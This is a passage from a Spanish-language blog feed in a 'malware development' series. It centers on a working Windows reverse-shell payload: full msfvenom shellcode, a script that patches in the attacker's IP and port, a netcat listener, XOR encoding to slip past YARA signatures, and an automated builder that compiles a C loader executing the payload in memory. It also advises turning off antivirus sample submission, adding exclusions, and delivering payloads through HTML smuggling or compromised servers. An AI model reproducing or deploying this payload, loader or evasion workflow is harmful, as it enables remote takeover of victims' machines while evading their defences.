b&quot;\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89&quot;<br>buf += b&quot;\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2&quot;<br>buf += b&quot;\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff&quot;<br>buf += b&quot;\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d&quot;<br>buf += b&quot;\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb&quot;<br>buf += b&quot;\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41&quot;<br>buf += b&quot;\x89\xda\xff\xd5&quot;<br><br>if len(sys.argv) != 3:<br>    print(f&quot;Uso: {sys.argv[0]} &lt;host&gt; &lt;puerto&gt;&quot;)<br>    sys.exit(1)<br><br>ip = sys.argv[1]<br>puerto = sys.argv[2]<br>buf = replace_ip_port(buf, str(ip), int(puerto))<br>sys.stdout.buffer.write(buf)</pre><h4>Ejecución del script</h4><pre>python3 main.py 192.168.2.10 4444 &gt; shellcode.bin</pre><p>Para recibir la conexión del <strong>shellcode</strong> necesito en un <strong>*nix</strong> ejecutar <strong>netcat.</strong></p><pre>nc -nvlp 4444</pre><h3>Evasión de AV (Antivirus)</h3><p>Hoy en día los <strong>AV</strong> usan distintas técnicas para detectar un <strong>malware</strong>:</p><ul><li>Base de datos de firmas.</li><li>Análisis estático.</li><li>Detección heurística y conductual.</li><li>Inspección de IAT (Import Address Table).</li><li>Uso de AMSI (AntiMalware Scan Interface).</li><li>Seguimiento de ETW (Event Tracing for Windows).</li><li>API Hooking.</li><li>Detección de comportamiento a nivel de red.</li></ul><p>Recomiendo la siguiente lectura para profundizar en el tema:</p><p><a href="https://www.vaadata.com/blog/antivirus-and-edr-bypass-techniques/">Antivirus and EDR Bypass Techniques Explained</a></p><p>Una de las formas que tiene de ayudarse un <strong>AV</strong> para la detección de <em>malware</em> es con la ayuda de <strong>reglas Yara</strong> la cual profundizaremos un poco en el siguiente tópico.</p><h3>Detectando el shellcode con reglas Yara</h3><h4>Que es una regla Yara?</h4><p>Una <strong>regla Yara</strong> es una descripción que permite identificar <em>malware</em> o amenazas de seguridad buscando patrones específicos dentro de archivos o flujos de datos. Estas reglas, escritas en un lenguaje específico, definen características de <em>malware</em>, como cadenas de texto, patrones binarios o patrones de comportamiento, y permiten a los analistas de seguridad detectar y clasificar amenazas.</p><p><strong>Ejemplo de regla Yara</strong></p><pre>rule MalwareExample {<br>    meta:<br>        description = &quot;Detects a specific type of malware&quot;<br>        author = &quot;a Guy&quot;<br>        date = 2025-01-23<br>    strings:<br>        $str1 = &quot;malicious string&quot;<br>        $str2 = &quot;second malicious string&quot;<br>        $malware_bytes = { DE AD BE EF ...}<br>    condition:<br>        hash.md5(0, filesize) == &quot;d1ff1397780e46c936c4c88168411890&quot; or<br>        all of ($str*) or<br>        $malware_bytes<br>}</pre><h4>Aplicando las reglas Yara en el Malware Development</h4><p>Como ejemplo tomaremos la siguiente <strong>regla Yara</strong> que sirve para detectar el <strong>shellcode</strong>, es necesario destacar que estas reglas están diseñadas para la detección en memoria y no estática, por lo cual en aplicaciones reales no lo recomendaría mucho para testeo estático.</p><p><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Metasploit.yar">protections-artifacts/yara/rules/Windows_Trojan_Metasploit.yar at main · elastic/protections-artifacts</a></p><p>Descargamos la <strong>regla yara</strong> de <strong>Metasploit</strong> desde el repositorio mencionado y testeamos nuestro <strong>shellcode</strong> generado, encontraremos 3 reglas que coinciden con la detección del <strong>shellcode.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CHrw00H0bFuu2JtcRGOkGw.png" /></figure><p>Se detalla las siguientes reglas los cuales detectaron nuestro <strong>shellcode</strong>, nos concentraremos en la sección <strong>strings</strong>, que es nuestro punto de interés.</p><h4>Windows_Trojan_Metasploit_7bc0f998</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Xixl-XesDa__pQ4fx_r-A.png" /></figure><h4>Windows_Trojan_Metasploit_c9773203</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gFSbW7BnUCHML80YpQCT_A.png" /></figure><h4>Windows_Trojan_Metasploit_91bc5d7d</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9XPaAvSLYFF-GfLpbMCIMg.png" /></figure><p>Como nuestro <strong>shellcode</strong> lo detecta las <strong>reglas Yara</strong>, vemos que son bytes específicos, que ocurriría si nuestro <strong>shellcode</strong> lo cambiamos usando algún encoding o cifrado? se modificaría el <strong>shellcode</strong>, por lo cual evadiría la detección al menos de manera estática.</p><p>Puedes usar la herramienta <strong>yarazo</strong> para testear tus creaciones y ver si evaden el análisis estático de un <strong>AV</strong>.</p><p><a href="https://github.com/nchgroup/yarazo">GitHub - nchgroup/yarazo: mass scanner yara rule</a></p><p>También puedes probarlo con la herramienta <strong>ThreatCheck</strong>.</p><p><a href="https://github.com/rasta-mouse/ThreatCheck">GitHub - rasta-mouse/ThreatCheck: Identifies the bytes that Microsoft Defender / AMSI Consumer flags on.</a></p><p>Para eso es recomendable configurar el antivirus y desactivar todo menos la “<strong>Protección en tiempo real</strong>” para que tu loader no se envíe a los servidores de <em>Microsoft</em> donde ahí no tendrán piedad con nadie y <em>flaggearán</em> todo lo que pase por sus narices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vS2F7ZMxXMMkdUY8AR_YkA.png" /><figcaption>Protección contra virus y amenazas -&gt; Administrar la configuración.</figcaption></figure><p>Es necesario añadir exclusiones en las carpetas donde esté la herramienta <strong>ThreatCheck</strong> y donde esté <strong>tu muestra</strong>, por que si no existen, el <strong>AV</strong> se los va a comer por la <em>Protección en tiempo real</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5UQ6XYe4jvkzcSpXNyuM7g.png" /><figcaption>Protección contra virus y amenazas -&gt; Administrar la configuración -&gt; Agregar o quitar exclusiones.</figcaption></figure><h3>Encoding/cifrado/ofuscación de shellcode</h3><p>Las técnicas de evasión para ocultar un <strong>shellcode</strong> son relativamente sencillas dado a que la mas minima pequeña modificación del <strong>shellcode</strong> (de manera completa) cambiaria la integridad del <strong>shellcode</strong> por lo cual las firmas vistas en las imágenes anteriores no podrían detectarlo como tal.</p><p>Tenemos algunos tipos de cifrados que son los mas usados como: <strong>XOR</strong>, <strong>ROT-N</strong> o cifrado cesar, <strong>RC4</strong> y <strong>AES. </strong>Y la ofuscación del <strong>shellcode</strong> como: <strong>Base64</strong>, <strong>IPv4</strong>, <strong>IPv6</strong>, <strong>MAC</strong> <strong>Address</strong> y <strong>UUID</strong>.</p><p>Hay un blog que me gusta mucho que es de <a href="https://cocomelonc.github.io/tags/#cryptography"><em>Cocomelonc</em></a>, ahi podrás encontrar diversas técnicas que podrían serte de ayuda. En este caso veremos un <strong>XOR</strong> simple para evadir las <strong>reglas Yaras</strong> problemáticas.</p><h4>Que es el cifrado XOR?</h4><p>Es un tipo de operación lógica que solo da como resultado verdadero cuando los valores de entrada difieren. En este caso la operación ocurre a nivel de <strong>bit</strong>. Acá va un ejemplo:</p><pre>Hex =&gt; 0xFC ^ 0xAA = 0x56<br><br>  11111100 (0xFC)<br>^ 10101010 (0xAA)<br>= 01010110 (0x56)</pre><p>Entonces basado en esto es que se opera el <strong>shellcode</strong> a nivel de <strong>bit</strong> para que de esta forma pueda cambiar su forma original, cabe destacar que el encoder <strong>XOR</strong> es <em>reversible</em> y se ocupa la misma función para volver al valor original.</p><p><strong>Encode en Python</strong></p><pre>def xor_encode(buf, key):<br>    if not (0 &lt;= key &lt;= 255):<br>        raise ValueError(&quot;La clave XOR debe estar entre 0 y 255.&quot;)<br>    return bytes([b ^ key for b in buf])<br><br>key = 0xAA  # Puedes cambiar la clave aquí<br>buf = xor_encode(buf, key)</pre><p><strong>Decode en C</strong></p><pre>#include &lt;windows.h&gt;<br><br>void xor_decode(BYTE *buf, SIZE_T buf_len, BYTE key) {<br>    for (SIZE_T i = 0; i &lt; buf_len; i++) {<br>        buf[i] ^= key;<br>    }<br>}</pre><p><strong>Ejemplo de uso</strong></p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>int main() {<br>    unsigned char buf[] = {0x10, 0x20, 0x30, 0x40...};<br>    SIZE_T buf_len = sizeof(buf);<br><br>    BYTE key = 0xAA;<br><br>    xor_decode(buf, buf_len, key);<br><br>    for (SIZE_T i = 0; i &lt; buf_len; i++) {<br>        printf(&quot;%02X &quot;, buf[i]);<br>    }<br>    printf(&quot;\n&quot;);<br><br>    return 0;<br>}</pre><p>Ahora veamos la efectividad. Primero creamos el código del encoder y probamos el <strong>shellcode</strong> encodeado con <strong>XOR</strong>:</p><pre>import sys<br><br><br>def replace_ip_port(buf, ip_str, port):<br>    parts = ip_str.split(&quot;.&quot;)<br>    if len(parts) != 4:<br>        raise ValueError(f&quot;Dirección IPv4 inválida: {ip_str}&quot;)<br><br>    ip = b&quot;&quot;<br>    for part in parts:<br>        try:<br>            octet = int(part)<br>        except ValueError:<br>            raise ValueError(f&quot;Octeto inválido en la dirección IPv4: {part}&quot;)<br>        if octet &lt; 0 or octet &gt; 255:<br>            raise ValueError(f&quot;Octeto fuera de rango en la dirección IPv4: {part}&quot;)<br>        ip += octet.to_bytes(1, &quot;big&quot;)<br><br>    original_pattern = b&quot;\x7f\x00\x00\x01&quot;<br>    buf = buf.replace(original_pattern, ip)<br><br>    if not (0 &lt;= port &lt;= 65535):<br>        raise ValueError(&quot;El puerto debe estar en el rango de 0 a 65535.&quot;)<br><br>    port_hex = port.to_bytes(2, byteorder=&quot;big&quot;)<br>    original_pattern = b&quot;\x11\x5c&quot;<br>    buf = buf.replace(original_pattern, port_hex)<br><br>    return buf<br><br><br>def xor_encode(buf, key):<br>    if not (0 &lt;= key &lt;= 255):<br>        raise ValueError(&quot;La clave XOR debe estar entre 0 y 255.&quot;)<br>    return bytes([b ^ key for b in buf])<br><br><br># msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 EXITFUNC=thread -f python<br>buf = b&quot;&quot;<br>buf += b&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51&quot;<br>buf += b&quot;\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52&quot;<br>buf += b&quot;\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72&quot;<br>buf += b&quot;\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0&quot;<br>buf += b&quot;\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41&quot;<br>buf += b&quot;\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b&quot;<br>buf += b&quot;\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48&quot;<br>buf += b&quot;\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44&quot;<br>buf += b&quot;\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41&quot;<br>buf += b&quot;\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0&quot;<br>buf += b&quot;\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1&quot;<br>buf += b&quot;\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44&quot;<br>buf += b&quot;\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44&quot;<br>buf += b&quot;\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;<br>buf += b&quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59&quot;<br>buf += b&quot;\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41&quot;<br>buf += b&quot;\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49&quot;<br>buf += b&quot;\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49&quot;<br>buf += b&quot;\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5&quot;<br>buf += b&quot;\x49\xbc\x02\x00\x11\x5c\x7f\x00\x00\x01\x41\x54&quot;<br>buf += b&quot;\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07&quot;<br>buf += b&quot;\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41&quot;<br>buf += b&quot;\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9&quot;<br>buf += b&quot;\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0&quot;<br>buf += b&quot;\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48&quot;<br>buf += b&quot;\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9&quot;<br>buf += b&quot;\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40&quot;<br>buf += b&quot;\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00&quot;<br>buf += b&quot;\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d&quot;<br>buf += b&quot;\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44&quot;<br>buf += b&quot;\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68&quot;<br>buf += b&quot;\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49&quot;<br>buf += b&quot;\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89&quot;<br>buf += b&quot;\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2&quot;<br>buf += b&quot;\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff&quot;<br>buf += b&quot;\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d&quot;<br>buf += b&quot;\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb&quot;<br>buf += b&quot;\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41&quot;<br>buf += b&quot;\x89\xda\xff\xd5&quot;<br><br>if len(sys.argv) != 3:<br>    print(f&quot;Uso: {sys.argv[0]} &lt;host&gt; &lt;puerto&gt;&quot;)<br>    sys.exit(1)<br><br>ip = sys.argv[1]<br>puerto = sys.argv[2]<br><br>buf = replace_ip_port(buf, str(ip), int(puerto))<br>key = 0xAA  # Puedes cambiar la clave aquí<br>buf = xor_encode(buf, key)<br>sys.stdout.buffer.write(buf)</pre><p>Luego de aplicar esto, como vemos en la imagen, el <strong>shellcode</strong> no es detectado :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wn09PpwOooLs2Evucf7HAA.png" /></figure><h3>Automatizando la creación del malware con Python</h3><p>Como ya es costumbre en este <em>blog</em>, toda <strong>PoC</strong> se automatiza.</p><pre>import sys<br>import subprocess<br><br>def replace_ip_port(buf, ip_str, port):<br>    parts = ip_str.split(&quot;.&quot;)<br>    if len(parts) != 4:<br>        raise ValueError(f&quot;Dirección IPv4 inválida: {ip_str}&quot;)<br><br>    ip = b&quot;&quot;<br>    for part in parts:<br>        try:<br>            octet = int(part)<br>        except ValueError:<br>            raise ValueError(f&quot;Octeto inválido en la dirección IPv4: {part}&quot;)<br>        if octet &lt; 0 or octet &gt; 255:<br>            raise ValueError(f&quot;Octeto fuera de rango en la dirección IPv4: {part}&quot;)<br>        ip += octet.to_bytes(1, &quot;big&quot;)<br><br>    original_pattern = b&quot;\x7f\x00\x00\x01&quot;<br>    buf = buf.replace(original_pattern, ip)<br><br>    if not (0 &lt;= port &lt;= 65535):<br>        raise ValueError(&quot;El puerto debe estar en el rango de 0 a 65535.&quot;)<br><br>    port_hex = port.to_bytes(2, byteorder=&quot;big&quot;)<br>    original_pattern = b&quot;\x11\x5c&quot;<br>    buf = buf.replace(original_pattern, port_hex)<br><br>    return buf<br><br>def xor_encode(buf, key):<br>    if not (0 &lt;= key &lt;= 255):<br>        raise ValueError(&quot;La clave XOR debe estar entre 0 y 255.&quot;)<br>    return bytes([b ^ key for b in buf])<br><br>def loader_skel(buf, key):<br>    return &quot;&quot;&quot;#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>void xor_decode(BYTE *buf, SIZE_T buf_len, BYTE key) {<br>    for (SIZE_T i = 0; i &lt; buf_len; i++) {<br>        buf[i] ^= key;<br>    }<br>}<br><br>int main() {<br>    unsigned char buf[] = \&quot;&quot;&quot;&quot; + buf + &quot;&quot;&quot;\&quot;;<br>    BYTE key = &quot;&quot;&quot; + key + &quot;&quot;&quot;;<br><br>    SIZE_T buf_size = sizeof(buf);<br><br>    xor_decode(buf, buf_size, key);<br><br>    LPVOID exec_mem = VirtualAlloc(<br>        NULL,<br>        buf_size,<br>        MEM_COMMIT | MEM_RESERVE,<br>        PAGE_EXECUTE_READWRITE<br>    );<br>    <br>    if (exec_mem == NULL) {<br>        printf(&quot;Error en VirtualAlloc: %d\\n&quot;, GetLastError());<br>        return 1;<br>    }<br>    <br>    RtlCopyMemory(exec_mem, buf, sizeof(buf));<br>    <br>    HANDLE thread = CreateThread(<br>        NULL,<br>        0,<br>        (LPTHREAD_START_ROUTINE)exec_mem,<br>        NULL,<br>        0,<br>        NULL<br>    );<br>    <br>    if (thread == NULL) {<br>        printf(&quot;Error en CreateThread: %d\\n&quot;, GetLastError());<br>        VirtualFree(exec_mem, 0, MEM_RELEASE);<br>        return 1;<br>    }<br>    <br>    WaitForSingleObject(thread, INFINITE);<br>    <br>    return 0;<br>}<br><br>&quot;&quot;&quot;<br><br># msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 EXITFUNC=thread -f python<br>buf =  b&quot;&quot;<br>buf += b&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51&quot;<br>buf += b&quot;\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52&quot;<br>buf += b&quot;\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72&quot;<br>buf += b&quot;\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0&quot;<br>buf += b&quot;\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41&quot;<br>buf += b&quot;\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b&quot;<br>buf += b&quot;\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48&quot;<br>buf += b&quot;\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44&quot;<br>buf += b&quot;\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41&quot;<br>buf += b&quot;\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0&quot;<br>buf += b&quot;\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1&quot;<br>buf += b&quot;\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44&quot;<br>buf += b&quot;\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44&quot;<br>buf += b&quot;\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;<br>buf += b&quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59&quot;<br>buf += b&quot;\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41&quot;<br>buf += b&quot;\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49&quot;<br>buf += b&quot;\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49&quot;<br>buf += b&quot;\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5&quot;<br>buf += b&quot;\x49\xbc\x02\x00\x11\x5c\x7f\x00\x00\x01\x41\x54&quot;<br>buf += b&quot;\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07&quot;<br>buf += b&quot;\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41&quot;<br>buf += b&quot;\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9&quot;<br>buf += b&quot;\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0&quot;<br>buf += b&quot;\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48&quot;<br>buf += b&quot;\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9&quot;<br>buf += b&quot;\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40&quot;<br>buf += b&quot;\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00&quot;<br>buf += b&quot;\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d&quot;<br>buf += b&quot;\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44&quot;<br>buf += b&quot;\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68&quot;<br>buf += b&quot;\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49&quot;<br>buf += b&quot;\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89&quot;<br>buf += b&quot;\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2&quot;<br>buf += b&quot;\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff&quot;<br>buf += b&quot;\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d&quot;<br>buf += b&quot;\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb&quot;<br>buf += b&quot;\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41&quot;<br>buf += b&quot;\x89\xda\xff\xd5&quot;<br><br>if len(sys.argv) != 3:<br>    print(f&quot;Uso: {sys.argv[0]} &lt;host&gt; &lt;puerto&gt;&quot;)<br>    sys.exit(1)<br><br>ip = sys.argv[1]<br>puerto = sys.argv[2]<br>buf = replace_ip_port(buf, str(ip), int(puerto))<br><br>key = 0xAA  # Puedes cambiar la clave aquí<br>buf = xor_encode(buf, key)<br>buf_str = &#39;&#39;.join(f&#39;\\x{b:02x}&#39; for b in buf)<br>key_str = f&quot;0x{key:02X}&quot;<br>loader_c = loader_skel(buf_str, key_str)<br><br>with open(&quot;main.c&quot;, &quot;w&quot;) as f:<br>    f.write(loader_c)<br><br>subprocess.run([&quot;x86_64-w64-mingw32-gcc&quot;, &quot;-mwindows&quot;, &quot;-o&quot;, &quot;test.exe&quot;, &quot;main.c&quot;], check=True)</pre><h4>Por que mi malware no evade el AV?</h4><p>Por que las <strong>reglas Yara</strong> tienen una funcionalidad para detectar y decodear el <strong>XOR</strong> además de que el tamaño de la <strong>key</strong> del <strong>XOR</strong> es de <strong>un byte</strong> y las <strong>Windows APIs</strong> usadas llaman la atención a un <strong>Antivirus</strong>. Añadiendo también otras variables que afecten a la detección como el <strong>compilador</strong>, <strong>entropía del ejecutable</strong>, el nombre del <strong>archivo</strong>, de las <strong>funciones</strong>, <strong>estructuras</strong> y <strong>variables</strong>, por lo cual es conveniente añadir complejidad al <strong>loader</strong> para que de esta forma pueda tener un mejor ratio de evasión, también es considerado como el juego entre el gato y el ratón. Ten en cuenta que si subes código a internet sea donde sea como <em>GitHub</em>, <em>GitLab</em>, <em>pastebin</em>, un <em>blog</em>, etc. las empresas de seguridad como proveedores de <em>WAF</em>, <em>AV</em>, <em>EDR</em>, <em>NDR</em>, <em>XDR</em> o <em>Threat Hunting/Intelligence</em> van a ver tu código y te dedicarán una <strong>regla Yara</strong> con amor ❤ y mi más sentido pésame.</p><p><a href="https://yara.readthedocs.io/en/stable/writingrules.html?highlight=xor">Writing YARA rules - yara 4.4.0 documentation</a></p><p>Ahora depende de ti que tanta complejidad quieras dar a tu <em>malware</em> para evadir distintas protecciones de seguridad, también puedes usar distintos lenguajes aparte de <em>C</em> como: <em>C++</em>, <em>C#</em>, <em>Rust</em>, <em>Go</em>, <em>Nim</em>, <em>VBA</em>, <em>PS1</em>, etc.</p><h4>Es correcto probar mi malware en Virustotal y derivados?</h4><p>Si quieres que dure 4 horas y después ya esté quemado (<em>flagged</em>), puedes hacerlo. Fácilmente puedes probar la detección con una VM sin acceso a internet o usando la herramienta ya mencionada <a href="https://github.com/nchgroup/yarazo"><strong>yarazo</strong></a>.</p><h3>Que viene después de construir el malware?</h3><p>El delivery ❤</p><p>Hay muchas formas de distribuir tu <em>malware</em>, algunas son las siguientes que salen en esta <a href="https://vay3t.medium.com/malware-development-droppers-baits-281066fd9019">publicación</a>, aplica tanto para servicios propios como vulnerados:</p><ul><li>Servidores <strong>HTTP.</strong></li><li>Base de datos (<strong>SQL/NOSQL</strong>).</li><li>Servidores <strong>FTP.</strong></li><li>Servidores de <strong>Correo.</strong></li><li>Proveedores de almacenamiento como <strong>Dropbox</strong>, <strong>AWS S3</strong>, <strong>Google Cloud Storage</strong>, <strong>Microsoft Azure Blob Storage</strong>, <strong>DigitalOcean Spaces</strong>, <strong>Cloudflare R2</strong> o servidores <em>self-hosted</em> como <a href="https://github.com/minio/minio"><strong>MinIO</strong></a>.</li></ul><p>Dentro de los servidores HTTP está la técnica <strong>HTML Smuggling.</strong></p><h4>HTML Smuggling</h4><p>Es una técnica que se ocupa <em>HTML</em> y <em>JavaScript</em> para ocultar y entregar un <em>malware</em> malicioso a una víctima de manera encubierta. El <strong>HTML Smuggling</strong> tan antiguo como efectivo, evade sistemas de detección tanto a nivel de red como del propio navegador dado a que el <em>malware</em> encodeado en el frontend, la descarga se hace con el <em>JavaScript</em> renderizado y no desde el backend. Este archivo <em>HTML/JavaScript</em> lo podemos alojar en cualquier servidor web, podrías ocupar tu propio servidor o explotar alguno con alguna vulnerabilidad como, <strong>Unrestricted file upload</strong> o <strong>XSS</strong><em>.</em></p><p>Te presento un programa en <strong>Go</strong> que hice, te podría ayudar a realizar este ataque de manera sencilla a un comando de distancia.</p><p><a href="https://github.com/nchgroup/creepyops">GitHub - nchgroup/creepyops: Creepy Ops - Red team tool to delivery payloads using different methods.</a></p><h3>Donde puedo aprender estas técnicas?</h3><p>Todo lo relacionado a <strong>Malware </strong>e<strong> Ingeniería social </strong>se puede encontrar en <a href="https://maldevacademy.com/"><strong>Maldev Academy</strong></a>. Yo lo ocupo para aprender y me parece bastante bueno y completo.</p><h3>Referencias</h3><ul><li><a href="https://www.youtube.com/watch?v=-xStGweK9KI">https://www.youtube.com/watch?v=-xStGweK9KI</a></li><li><a href="https://defuse.ca/online-x86-assembler.htm">https://defuse.ca/online-x86-assembler.htm</a></li><li><a href="https://vay3t.medium.com/malware-development-generando-shellcodes-de-metasploit-sin-metasploit-aa120ffcdd92">https://vay3t.medium.com/malware-development-generando-shellcodes-de-metasploit-sin-metasploit-aa120ffcdd92</a></li><li><a href="https://vay3t.medium.com/malware-development-droppers-baits-281066fd9019">https://vay3t.medium.com/malware-development-droppers-baits-281066fd9019</a></li><li><a href="https://vay3t.medium.com/malware-development-p-invoke-y-d-invoke-689c8e4c547f">https://vay3t.medium.com/malware-development-p-invoke-y-d-invoke-689c8e4c547f</a></li><li><a href="https://github.com/elastic/protections-artifacts">https://github.com/elastic/protections-artifacts</a></li><li><a href="https://github.com/VirusTotal/yara">https://github.com/VirusTotal/yara</a></li><li><a href="https://github.com/nchgroup/yarazo">https://github.com/nchgroup/yarazo</a></li><li><a href="https://github.com/rasta-mouse/ThreatCheck">https://github.com/rasta-mouse/ThreatCheck</a></li><li><a href="https://cocomelonc.github.io/tags/#cryptography">https://cocomelonc.github.io/tags/#cryptography</a></li><li><a href="https://www.vaadata.com/blog/antivirus-and-edr-bypass-techniques/">https://www.vaadata.com/blog/antivirus-and-edr-bypass-techniques/</a></li><li><a href="https://github.com/nchgroup/creepyops">https://github.com/nchgroup/creepyops</a></li><li><a href="https://maldevacademy.com/">https://maldevacademy.com/</a></li></ul><h3>Autores</h3><ul><li>Vay3t</li><li><a href="https://www.linkedin.com/in/rchangl/">Rodrigo Chang</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=08bb30b23465" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Development — Creando un instalador MSI como Backdoor]]></title>
            <link>https://vay3t.medium.com/malware-development-creando-un-instalador-msi-como-backdoor-a7082e4c3ff0?source=rss-470deab256ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7082e4c3ff0</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[backdoor]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Vay3t]]></dc:creator>
            <pubDate>Tue, 22 Apr 2025 19:43:47 GMT</pubDate>
            <atom:updated>2025-04-22T19:43:47.987Z</atom:updated>
